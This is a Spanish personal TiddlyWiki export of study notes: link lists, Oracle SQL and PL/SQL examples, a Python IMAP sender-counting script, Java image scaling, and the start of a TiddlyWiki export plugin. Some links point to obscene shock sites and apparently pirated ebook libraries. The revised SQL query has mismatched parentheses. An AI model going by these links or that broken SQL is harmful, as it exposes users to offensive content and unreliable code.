<<Processing 'PaintProcessingDemo'>>
(//''Nota:'' Debido a un pequeño bug, solo funciona bien si el scroll está arriba del todo. Si no, los puntos se dibujan desplazados.//)
!Descripción
Apuntes sobre eBooks (libros electrónicos) y donde conseguirlos.
!Apuntes rápidos
*
!Enlaces interesantes
* ''Bibliotecas de literatura:''
** Recopilatorio de 120% Linux: http://120linux.com/descargar-libros/
** Filibusteros: http://www.filibusteros.com/index.php
** Bibliotheka: http://www.bibliotheka.org/?/clasif/
** Libros Tauro: http://www.librostauro.com.ar/librostauro.php
** La Biblioteca Oculta: http://bibliotecaoculta.es.tl/
** Qué de libros: http://www.quedelibros.com/
* ''Bibliotecas técnicas:''
** Libros Web (CSS, HTML, etc): http://librosweb.es/
** Free ebooks: http://free-ebooks-download.org/
** Books for Java: http://books4java.blogspot.com/
** Java books: http://www.javabooks.org/
** Speed Books Argentina: http://speedbooksargentina.blogspot.com/search/label/Adm%20de%20Redes
* ''Otras bibliotecas:''
** Tome Raider: http://www.tomeraider.com
* ''Comics y otros materiales:''
* ''Otros:''
** Wikipedia en castellano (TR3): http://wikipedia.pdaexpertos.com/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre ETHERNET y otras redes locales cableadas
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
Ejemplo sencillo de SQL dinámico:
{{{
declare
str_sql VARCHAR2(500);
v_1 NUMBER := 2;
v_2 NUMBER;
begin
str_sql := 'select :a * :b / ''2''
from dual';
EXECUTE IMMEDIATE str_sql into v_2 USING v_1, v_1;
DBMS_OUTPUT.PUT_LINE( v_2);
end;
/
}}}
El bloque anterior es un bloque dinámico. Lo más relevante:
* La cadena SQL se encierra entre comillas simples. No importa si hay saltos de línea.
* Para poner comillas simples dentro de la cadena se ponen dos comillas simples juntas. Ejemplo: {{{''2''}}}.
* La cadena con el SQL se puede parametrizar poniendo :nombre. El nombre es comletamente irrelevante, porque la sustitución se hace por el orden que se le pasan los parámetros.
* La sentencia se ejecuta con un {{{EXECUTE IMMEDIATE}}}. El valor de retorno de la función se almacena en la variable indicada por {{{INTO}}}.
* Los parámetros pasados a la sentencia se indican mediante {{{USING}}}. Es muy importante el orden con el que se pasen.
!Manual de uso
Tan sólo hay que ejecutarlo e irá pidiendo los datos. Al finalizar creará un archivo llamado {{{results.txt}}} con la información recogida.
!Código fuente
{{{
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import getpass
from imaplib import *
def main():
#Configuración
imap_host = raw_input("Servidor imap: ")#"imap.gmail.com" #"zaz-prod-mx01.tb-solutions.com"
imap_port = int(raw_input("Puerto: "))#993 #143
imap_user = raw_input("Usuario (aa@bb.cc): ")#"usuario@example.com"
print "Contraseña: "
imap_password = getpass.getpass()
imap_box = raw_input("Carpeta (entrada es INBOX): ") #"INBOX"
imap_box_readonly = True
#Conectar con el servidor
#imap_server = IMAP4_SSL(imap_host, imap_port)
imap_server = IMAP4(imap_host, imap_port)
imap_server.login(imap_user, imap_password)
#Extrae información de conexión y carpetas disponibles
status, folders = imap_server.list()
#Comprueba el estado de la conexión
if status == "OK":
print "Connected"
#Imprime las carpetas que hay en el servidor
print "folders"
for i in folders:
print i
#Elige la carpeta de trabajo. Por defecto es INBOX
if imap_box != "INBOX":
print "Seleccionando carpeta "+imap_box
imap_server.select(imap_box, imap_box_readonly)
else:
print "Seleccionando carpeta inbox"
imap_server.select(readonly=imap_box_readonly)
#Obtiene todos los mensajes de la carpeta seleccionada
r, data = imap_server.search(None, 'ALL')
messages = data[0].split()
print "Número de mensajes: "+str(len(data[0].split()))
#Obtiene los mensajes
#get(messages)
data = countMessages(imap_server, messages);
f = open("results.txt", "w")
try:
#Muestra los resultados y los escribe en un archivo
print "\n\nResultados: "
for i in data:
strAux = i+" ha enviado "+str(data[i])+" emails"
f.write(strAux+"\n")
print strAux
f.flush()
finally:
f.close()
#Fallo de conexión
else:
print "Connection fail"
#Cierra la conexión con el servidor
imap_server.close()
imap_server.logout()
#Obtiene los mensajes el servidor y devuelve un diccionario con cuantos mensajes
#ha enviado cada remitente
def countMessages(server, messages):
senders = {}
#Imprime información de los archivos obtenidos
for num in messages:
#typ, data = imap_server.fetch(num, '(BODY[HEADER.FIELDS (SUBJECT FROM)])')
typ, data = server.fetch(num, '(BODY[HEADER.FIELDS (FROM)])')
#sender = data[0][1][6:-2] #linux
sender = data[0][1][6:-4] #windows
#Comprueba si ya se había registrado el remitente, y lo contea
if not senders.has_key(sender):
senders[sender] = 1
else:
senders[sender] += 1
print str(num)+" Remitente: "+sender+" veces: "+str(senders[sender])
#Devuelve el resultado
return senders
#MAIN
if __name__ == "__main__":
main()
}}}
''Ejemplo de plantilla''
Parámetro 1: //$1//
Parámetro 2: --$2--
Parámetro 3: $3
!Descripción
Apuntes sobre
!Apuntes rápidos
* Lugares de visita obligatoria:
** Abizanda
** Escalona
** Revilla
** ~Tella-Sin
** Ordesa
** Monteperdido
** Torla
** Bielsa
** San Juan de Plan
** Morillo de Tou
** Lafortunada
** Laspuña
!Enlaces interesantes
* Excursiones sencillas: http://www.ainsa.es/ainsa_excursiones_sencillas.php
* Excursiones medias: http://www.ainsa.es/ainsa_excursiones_medias.php
* Excursiones infernales: http://www.ainsa.es/ainsa_excursiones_dificiles.php
* http://www.ainsa-sobrarbe.es/
* http://www.pirineosordesa.com/ordesa/index.php?option=com_content&task=blogcategory&id=0&Itemid=46
* http://www.gpspirineo.com/index.php?page=shop.browse&category_id=29&option=com_virtuemart&Itemid=21
* Mapas SITAR: http://sitar.aragon.es/visor/
* Mapas SIGPAC: http://sigpac.mapa.es/fega/visor/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre electrónica y electricidad
!Apuntes rápidos
*
!Enlaces interesantes
* http://www.discovercircuits.com/index.htm
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre electrónica analógica
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre conversores ADC (analógico->digitan) y DAC (digital->analógico)
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre electrónica digital
!Apuntes rápidos
*
!Enlaces interesantes
* Simulador de puertas lógicas online: http://joshblog.net/projects/logic-gate-simulator/Logicly.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
Contenido del //''elemento 2''//
con saltos de línea
{{{
fragmentos de código
}}}
# Incluso
# Listas numeradas
!Descripción
Apuntes sobre emuladores de consolas de videojuegos
!Apuntes rápidos
* ''NEO GEO:''
** kawaks: http://cps2shock.retrogames.com/download.html
** kaillera server: http://www.kaillera.com/
** NeoDS: http://groups.google.com/group/neods
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre emuladores de ordenador u otras máquinas programables
!Apuntes rápidos
*
!Enlaces interesantes
* ''Emuladores de SOs''
** Emulador de Windows: http://www.winehq.org/
*** ~WineXS: http://tsx.nl/winexs.html
*** ~WineTricks: http://www.kegel.com/wine/winetricks
** Emulador MS-DOS: http://www.dosbox.com/
*** Versión para S60: http://vogons.zetafleet.com/viewtopic.php?t=20708&postdays=0&postorder=asc&start=0
*** Versión para Wii: http://www.qj.net/Wii-homebrew-DOSBox-Wii-v0-73-01/pg/49/aid/131955
* ''Emuladores de computadores completos:''
** VMware: http://www.vmware.com/es/
** VirtualBox: http://www.virtualbox.org/
** Qemu: http://www.qemu.org/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
* URLs
* [[Notas]]
* CosasPendientes
Mis plugins: <<tagging [[misPlugins]]>>
Sock sites:
* http://lemonparty.org
* http://www.experiencefestival.com/list_of_shock_sites_-_snuffxcom
ErrePuntoTest
!TagsTreePlugin
Ejemplo de la página web:
{{{<<tagsTree menu "" 3 4 index label>>}}}
Estructura tags/tiddlers (ejemplo con tags entre paréntesis):
* menu
** Plugins (menu)
*** Tools (Plugins)
**** EncryptedVaultPlugin (Tools VisualTW)
**** FieldsEditorPluginSync (Tools VisualTW)
{{{<<tagsTree [[Programación]] "tema" 1 6 >>}}}
<<tagsTree [[Programación]] "tema" 1 6 >>
{{{<<tagsTree menu [[tema]] 1 2 index label>>}}}
<<tagsTree menu [[tema]] 1 2 index label>>
{{{<<tagsTree menu tema 1 2 index label>>}}}
<<tagsTree menu tema 1 2 index label>>
{{{<<tagsTree menu "tema" 0 1 index label>>}}}
<<tagsTree menu "tema" 0 1 index label>>
{{{<<tagsTree menu "" 1 6 >>}}}
<<tagsTree menu "" 1 6 >>
! Introducción
En [[Java]] hay una superclase abstracta para las imágenes llamada {{{java.awt.Image}}}. El problema es que muchas operaciones devuelven objetos de esta clase abstracta, pero para trabajar con ellos hay que convertirlos en {{{java.awt.image.BufferedImage}}}, que es una clase que extiende a la anterior.
Para escalar un {{{BufferedImage}}} hay que hacerlo en las siguientes fases:
# Obtener una copia escalada de la imagen (de la clase {{{Image}}})
# Copiar la imagen escalada en un {{{BufferedImage}}}
!! Obtener la copia escalada
Una copia a escala de la imagen se obtiene mediante el método {{{Image Image.getScaledInstance(int ancho, int alto, int metodo_escalado);}}}. Los dos primeros parámetros son de significado evidente, el tercero puede ser uno de los siguientes:
* {{{Image.SCALE_DEFAULT}}}: Algoritmo por defecto de rendimiento intermedio
* {{{Image.SCALE_FAST}}}: Prima la velocidad sobre la calidad. La imagen puede parecer un poco "angulosa"
* {{{Image.SCALE_SMOOTH}}}: Prima la calidad sobre la velocidad. La imagen resultante está más suavizada
* {{{Image.SCALE_REPLICATE}}}: Llama a la instancia por defecto de {{{ReplicateScaleFilter}}}. La máquina virtual puede definir distintas implementaciones.
* {{{Image.SCALE_AREA_AVERAING}}}: Utiliza un algoritmo de promediado de área. En cada máquina virtual puede proveerse un algoritmo diferente.
Ejemplo que convierte una imagen a tamaño 200x300 usando el método por defecto:
{{{
Image escalada = img.getScaledInstance(200, 300, Image.SCALE_DEFAULT);
}}}
!! Crear un """BufferImage""" a partir de un Image
Lo primero que hay que hacer es crear un nuevo objeto de clase {{{java.awt.image.BufferedImage}}} con las mismas dimensiones que el original. Una vez hecho esto, se pintan los datos de la imagen original sobre el nuevo {{{java.awt.image.BufferedImage}}}.
Ejemplo que crea un {{{BufferedImage}}} llamado {{bufferedImage}}} a partir una imagen llamada {{{img}}}:
{{{
BufferedImage bufferedImage = new BufferedImage(img.getWidth(null), img.getHeight(null), BufferedImage.TYPE_INT_RGB);
Graphics g = bufferedImage.createGraphics();
g.drawImage(img, 0, 0, null);
g.dispose();
}}}
! Ejemplo completo
Método estático que realiza todas estas operaciones
{{{
public static BufferedImage escalarImagen(BufferedImage buffered, int ancho, int alto) {
Image img = buffered.getScaledInstance(ancho, alto, Image.SCALE_DEFAULT);
BufferedImage bufferedImage = new BufferedImage(img.getWidth(null), img.getHeight(null), BufferedImage.TYPE_INT_RGB);
Graphics g = bufferedImage.createGraphics();
g.drawImage(img, 0, 0, null);
g.dispose();
return bufferedImage;
}
}}}
!Descripción
Apuntes sobre escritores, figuras públicas y científicos divulgadores de teorías escépticas.
//Esto es una [[metacategoría|metacategoria]], lo que quiere decir que habrá varias categorías que la tengan también como padre y que no tendrá subcategorías ni temas propios.//
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title)'>>
!Descripción
Apuntes sobre escritores famosos y no tan famosos.
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre estadística
!Apuntes rápidos
*
!Enlaces interesantes
* Cadenas de markov: http://en.wikipedia.org/wiki/Markov_Chain
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
La estructura básica de directorios es la siguiente:
{{{
Raiz
|-- build: Aquí se generan los war y los ear
|-- EAR: Info para construir un EAR
|-- JavaSource: Código fuente
|-- src: Código fuente de producción y archivos de configuración
|-- applicationContext.xml: Configuración de Spring (opcional)
|-- spring.properties: Configuración de Spring (opcional)
|-- commons-logging.properties: Configuración de logging (opcional)
|-- log4j.properties: Configuración de Log for Java (opcional)
|-- test: Código fuente de test
|-- WebRoot: Base de la aplicación web
|-- css: Estilos de las páginas web generadas
|-- images: Imágenes
|-- js: Javascript común
|-- META-INF: Contiene el archivo MANIFEST.MF
|-- WEB-INF: Aquí van las clases compiladas, los JSPs y los archivos de configuración web
|-- classes: Código fuente compilado
|-- lib: Librerías necesarias para la ejecución
|-- page: Páginas JSP
|-- web.xml: Configuración de la aplicación web
|-- struts.config: Configuración de Struts (opcional)
|-- archivos.tld: Archivos .tld con etiquetas, usadas por Struts principalmente (opcional)
|-- build.xml: Archivo de construcción de ANT
|-- build.properties: Archivo de propiedades usado por build.xml
}}}
* Ejemplo de applicationContext.xml: [[applicationContext]]
* Ejemplo de spring.properties: [[springProperties]]
* Ejemplo de log4j.properties: [[log4jProperties]]
* Ejemplo de MANIFEST.MF: [[manifestMf]]
* Ejemplo de web.xml: [[webXml]]
* Ejemplo de struts.config: [[strutsConfig]]
* Ejemplo de build.xml: [[buildXml]]
* Ejemplo de .hbm.xml: [[hbmXml]]
* Ejemplo de JSP: [[jspStruts]]
* Ejemplo de Action y ActionForm: [[actionStruts]]
!El problema
Al hacer reports e informes con datos de tipo porcentajes o ratios, puede ser que algunos de los denominadorse de las divisiones sean ceros. Si la consulta es sencilla, se puede comprobar el denominador con alguna sentencia condicional, como un {{{CASE}}} o similares. Pero, ¿que pasa si la consulta es compleja y tiene muchas sentencias {{{UNION}}}? ¿Se pone un {{{CASE}}} por cada una de ellas?
Un ejemplo de consulta problemática sería el siguiente:
{{{
SELECT
distinct tipo, sum(precio), sum(existencias), sum(precio) / sum(existencias) as "valor medio"
FROM productos WHERE tipo = 1
UNION
SELECT
distinct tipo, sum(precio), sum(existencias), sum(precio) / sum(existencias) as "valor medio"
FROM productos WHERE tipo = 2
UNION
SELECT
distinct tipo, sum(precio), sum(existencias), sum(precio) / sum(existencias) as "valor medio"
FROM productos WHERE tipo = 3
...
UNION
SELECT
distinct tipo, sum(precio), sum(existencias), sum(precio) / sum(existencias) as "valor medio"
FROM productos WHERE tipo = N
}}}
¿Que pasa si no hay existencias de un tipo? Que se produce la excepción antes comentada.
!La solución
[[PL/SQL]] permite manejar excepciones, como por ejemplo, la división por cero. En vez de usar el operador de división directamente, se puede hacer una pequeña función en PL/SQL que controle la excepción y devuelva el resultado si no hay división por cero, u otro valor (como un cero o un {{{null}}}) si se produce algún problema. Ejemplo:
{{{
CREATE OR REPLACE FUNCTION DIVISION_SEGURA (
numerador IN NUMBER, -- Numerador de la división
denominador IN NUMBER -- Denominador de la división
)
RETURN NUMBER
IS
resultado NUMBER;
BEGIN
resultado := numerador / denominador;
RETURN resultado;
EXCEPTION
WHEN ZERO_DIVIDE THEN
--
RETURN 0;
WHEN OTHERS THEN
RAISE;
END DIVISION_SEGURA;
/
}}}
En este ejemplo, devuelve cero cuando se produce la división por cero, pero se podría cambiar por cualquier otro valor, e incluso pasar un tercer argumento que fuera el valor por defecto en caso de excepción.
El ejemplo anterior quedaría así:
{{{
{{{
SELECT
distinct tipo, sum(precio), sum(existencias), DIVISION_SEGURA(sum(precio), sum(existencias)) as "valor medio"
FROM productos WHERE tipo = 1
UNION
SELECT
distinct tipo, sum(precio), sum(existencias), DIVISION_SEGURA(sum(precio), sum(existencias))) as "valor medio"
FROM productos WHERE tipo = 2
UNION
SELECT
distinct tipo, sum(precio), sum(existencias), DIVISION_SEGURA(sum(precio), sum(existencias))) as "valor medio"
FROM productos WHERE tipo = 3
...
UNION
SELECT
distinct tipo, sum(precio), sum(existencias), DIVISION_SEGURA(sum(precio), sum(existencias))) as "valor medio"
FROM productos WHERE tipo = N
}}}
Ahora si no hay existencias de un tipo, simplemente se mostrará un cero.
!Descripción
Apuntes sobre excursiones y viajes
!Apuntes rápidos
*
!Enlaces interesantes
* Mapas de comarcas de Aragón: http://www.comarcas.es/index.php/mod.documentos/mem.listado/relcategoria.120/chk.6e4fe00398fe89ed9b713a9abeed3b04.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|Name|ExportTiddlersPlugin|
|Source|http://www.TiddlyTools.com/#ExportTiddlersPlugin|
|Documentation|http://www.TiddlyTools.com/#ExportTiddlersPluginInfo|
|Version|2.9.4|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|interactively select/export tiddlers to a separate file|
!!!!!Documentation
>see [[ExportTiddlersPluginInfo]]
!!!!!Inline control panel (live):
><<exportTiddlers inline>>
!!!!!Revisions
<<<
2009.09.12 [2.9.4] fixed 'return false' to prevent IE page transitions
2009.07.06 [2.9.3] moved HTML to section for size reduction
|please see [[ExportTiddlersPluginInfo]] for additional revision details|
2005.10.09 [0.0.0] development started
<<<
!!!!!Code
***/
//{{{
// version
version.extensions.ExportTiddlersPlugin= {major: 2, minor: 9, revision: 4, date: new Date(2009,9,12)};
// default shadow definition
config.shadowTiddlers.ExportTiddlers='<<exportTiddlers inline>>';
// add 'export' backstage task (following built-in import task)
if (config.tasks) { // TW2.2 or above
config.tasks.exportTask = {
text:'export',
tooltip:'Export selected tiddlers to another file',
content:'<<exportTiddlers inline>>'
}
config.backstageTasks.splice(config.backstageTasks.indexOf('importTask')+1,0,'exportTask');
}
config.macros.exportTiddlers = {
$: function(id) { return document.getElementById(id); }, // abbreviation
label: 'export tiddlers',
prompt: 'Copy selected tiddlers to an export document',
okmsg: '%0 tiddlers written to %1',
failmsg: 'An error occurred while creating %1',
mergeprompt: '%0\nalready contains tiddlers.\n'
+'\nPress OK to merge new/revised tiddlers into existing file.'
+'\nor, press Cancel to completely replace the file contents',
mergestatus: 'Merged %0 new/revised tiddlers with %1 previously saved tiddlers',
statusmsg: '%0 tiddler%1 - %2 selected for export',
newdefault: 'export.html',
datetimefmt: '0MM/0DD/YYYY 0hh:0mm:0ss', // for 'filter date/time' edit fields
type_TW: "tw", type_PS: "ps", type_TX: "tx", type_CS: "cs", type_NF: "nf", // file type tokens
type_map: { // maps type param to token values
tiddlywiki:"tw", tw:"tw", wiki: "tw",
purestore: "ps", ps:"ps", store:"ps",
plaintext: "tx", tx:"tx", text: "tx",
comma: "cs", cs:"cs", csv: "cs",
newsfeed: "nf", nf:"nf", xml: "nf", rss:"nf"
},
handler: function(place,macroName,params) {
if (params[0]!='inline')
{ createTiddlyButton(place,this.label,this.prompt,this.togglePanel); return; }
var panel=this.createPanel(place);
panel.style.position='static';
panel.style.display='block';
},
createPanel: function(place) {
var panel=this.$('exportPanel');
if (panel) { panel.parentNode.removeChild(panel); }
setStylesheet(store.getTiddlerText('ExportTiddlersPlugin##css',''),'exportTiddlers');
panel=createTiddlyElement(place,'span','exportPanel',null,null)
panel.innerHTML=store.getTiddlerText('ExportTiddlersPlugin##html','');
this.initFilter();
this.refreshList(0);
var fn=this.$('exportFilename');
if (window.location.protocol=='file:' && !fn.value.length) {
// get new target path/filename
var newPath=getLocalPath(window.location.href);
var slashpos=newPath.lastIndexOf('/'); if (slashpos==-1) slashpos=newPath.lastIndexOf('\\');
if (slashpos!=-1) newPath=newPath.substr(0,slashpos+1); // trim filename
fn.value=newPath+this.newdefault;
}
return panel;
},
togglePanel: function(e) { var e=e||window.event;
var cme=config.macros.exportTiddlers; // abbrev
var parent=resolveTarget(e).parentNode;
var panel=cme.$('exportPanel');
if (panel==undefined || panel.parentNode!=parent)
panel=cme.createPanel(parent);
var isOpen=panel.style.display=='block';
if(config.options.chkAnimate)
anim.startAnimating(new Slider(panel,!isOpen,e.shiftKey || e.altKey,'none'));
else
panel.style.display=isOpen?'none':'block' ;
if (panel.style.display!='none') {
cme.refreshList(0);
cme.$('exportFilename').focus();
cme.$('exportFilename').select();
}
e.cancelBubble = true; if (e.stopPropagation) e.stopPropagation(); return(false);
},
process: function(which) { // process panel control interactions
var theList=this.$('exportList'); if (!theList) return false;
var count = 0;
var total = store.getTiddlers('title').length;
switch (which.id) {
case 'exportFilter':
count=this.filterExportList();
var panel=this.$('exportFilterPanel');
if (count==-1) { panel.style.display='block'; break; }
this.$('exportStart').disabled=(count==0);
this.$('exportDelete').disabled=(count==0);
this.displayStatus(count,total);
if (count==0) { alert('No tiddlers were selected'); panel.style.display='block'; }
break;
case 'exportStart':
this.go();
break;
case 'exportDelete':
this.deleteTiddlers();
break;
case 'exportHideFilter':
case 'exportToggleFilter':
var panel=this.$('exportFilterPanel')
panel.style.display=(panel.style.display=='block')?'none':'block';
break;
case 'exportSelectChanges':
var lastmod=new Date(document.lastModified);
for (var t = 0; t < theList.options.length; t++) {
if (theList.options[t].value=='') continue;
var tiddler=store.getTiddler(theList.options[t].value); if (!tiddler) continue;
theList.options[t].selected=(tiddler.modified>lastmod);
count += (tiddler.modified>lastmod)?1:0;
}
this.$('exportStart').disabled=(count==0);
this.$('exportDelete').disabled=(count==0);
this.displayStatus(count,total);
if (count==0) alert('There are no unsaved changes');
break;
case 'exportSelectAll':
for (var t = 0; t < theList.options.length; t++) {
if (theList.options[t].value=='') continue;
theList.options[t].selected=true;
count += 1;
}
this.$('exportStart').disabled=(count==0);
this.$('exportDelete').disabled=(count==0);
this.displayStatus(count,count);
break;
case 'exportSelectOpened':
for (var t=0; t<theList.options.length; t++) theList.options[t].selected=false;
var tiddlerDisplay=this.$('tiddlerDisplay');
for (var t=0; t<tiddlerDisplay.childNodes.length;t++) {
var tiddler=tiddlerDisplay.childNodes[t].id.substr(7);
for (var i=0; i<theList.options.length; i++) {
if (theList.options[i].value!=tiddler) continue;
theList.options[i].selected=true; count++; break;
}
}
this.$('exportStart').disabled=(count==0);
this.$('exportDelete').disabled=(count==0);
this.displayStatus(count,total);
if (count==0) alert('There are no tiddlers currently opened');
break;
case 'exportSelectRelated':
// recursively build list of related tiddlers
function getRelatedTiddlers(tid,tids) {
var t=store.getTiddler(tid); if (!t || tids.contains(tid)) return tids;
tids.push(t.title);
if (!t.linksUpdated) t.changed();
for (var i=0; i<t.links.length; i++)
if (t.links[i]!=tid) tids=getRelatedTiddlers(t.links[i],tids);
return tids;
}
// for all currently selected tiddlers, gather up the related tiddlers (including self) and select them as well
var tids=[];
for (var i=0; i<theList.options.length; i++)
if (theList.options[i].selected) tids=getRelatedTiddlers(theList.options[i].value,tids);
// select related tiddlers (includes original selected tiddlers)
for (var i=0; i<theList.options.length; i++)
theList.options[i].selected=tids.contains(theList.options[i].value);
this.displayStatus(tids.length,total);
break;
case 'exportListSmaller': // decrease current listbox size
var min=5;
theList.size-=(theList.size>min)?1:0;
break;
case 'exportListLarger': // increase current listbox size
var max=(theList.options.length>25)?theList.options.length:25;
theList.size+=(theList.size<max)?1:0;
break;
case 'exportClose':
this.$('exportPanel').style.display='none';
break;
}
return false;
},
displayStatus: function(count,total) {
var txt=this.statusmsg.format([total,total!=1?'s':'',!count?'none':count==total?'all':count]);
clearMessage(); displayMessage(txt);
return txt;
},
refreshList: function(selectedIndex) {
var theList = this.$('exportList'); if (!theList) return;
// get the sort order
var sort;
